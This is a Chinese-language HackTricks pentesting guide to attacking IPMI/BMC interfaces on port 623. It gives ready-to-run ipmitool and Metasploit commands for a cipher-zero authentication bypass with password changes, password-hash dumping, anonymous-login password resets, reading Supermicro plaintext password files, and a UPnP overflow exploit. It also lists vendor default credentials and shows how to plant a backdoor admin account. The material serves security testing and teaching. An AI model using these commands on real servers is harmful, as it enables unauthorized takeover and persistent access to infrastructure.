8.9 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
基本信息
IPMI 概述
智能平台管理接口 (IPMI) 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时,特别适用于:
- 操作系统启动前的配置
- 关机管理
- 从系统故障中恢复
IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。
自 1998 年英特尔推出以来,IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行局域网的支持。关键组件包括:
- 主板管理控制器 (BMC): IPMI 操作的主要微控制器。
- 通信总线和接口: 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。
- IPMI 内存: 用于存储日志和数据。
默认端口:623/UDP/TCP(通常在 UDP 上,但也可能在 TCP 上运行)
枚举
发现
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
您可以识别版本使用:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI 漏洞
在 IPMI 2.0 的领域中,Dan Farmer 发现了一个重大的安全缺陷,通过 cipher type 0 暴露了一个漏洞。这个漏洞在 Dan Farmer 的研究 中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在 HP、Dell 和 Supermicro 等制造商的各种 BMC 中被发现,表明所有 IPMI 2.0 实现中存在广泛的问题。
通过 Cipher 0 绕过 IPMI 认证
要检测这个缺陷,可以使用以下 Metasploit 辅助扫描器:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
利用这个漏洞可以使用 ipmitool
来实现,如下所示,允许列出和修改用户密码:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP 认证远程密码哈希检索
此漏洞允许检索任何现有用户名的加盐哈希密码(MD5 和 SHA1)。要测试此漏洞,Metasploit 提供了一个模块:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI 匿名认证
许多 BMC 的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。此配置可以被利用来重置使用 ipmitool
的命名用户帐户的密码:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI 明文密码
IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 /nv/PSBlock
或 /nv/PSStore
等位置引发了重大安全隐患:
cat /nv/PSBlock
Supermicro IPMI UPnP 漏洞
Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 Rapid7 的披露 的详细信息,Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
暴力破解
HP 在制造过程中随机生成其 集成灯光控制 (iLO) 产品的默认密码。这一做法与其他制造商形成对比,后者往往使用静态默认凭据。以下是各种产品的默认用户名和密码的总结:
- HP 集成灯光控制 (iLO) 使用工厂随机生成的 8 个字符字符串作为其默认密码,展示了更高的安全级别。
- 像戴尔的 iDRAC、IBM 的 IMM和富士通的集成远程管理控制器等产品使用易于猜测的密码,如“calvin”、“PASSW0RD”(带零)和“admin”。
- 同样,Supermicro IPMI (2.0)、Oracle/Sun ILOM和华硕 iKVM BMC也使用简单的默认凭据,其中“ADMIN”、“changeme”和“admin”作为它们的密码。
通过 BMC 访问主机
对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell(使用 init=/bin/sh
)或从设置为救援磁盘的虚拟 CD-ROM 启动来实现。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 ipmitool
。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。
从主机向 BMC 引入后门
在攻陷一台配备 BMC 的主机后,可以利用本地 BMC 接口插入后门用户账户,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**ipmitool
**并激活 BMC 驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户账户注入 BMC,从而绕过身份验证的需要。这一技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
References
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。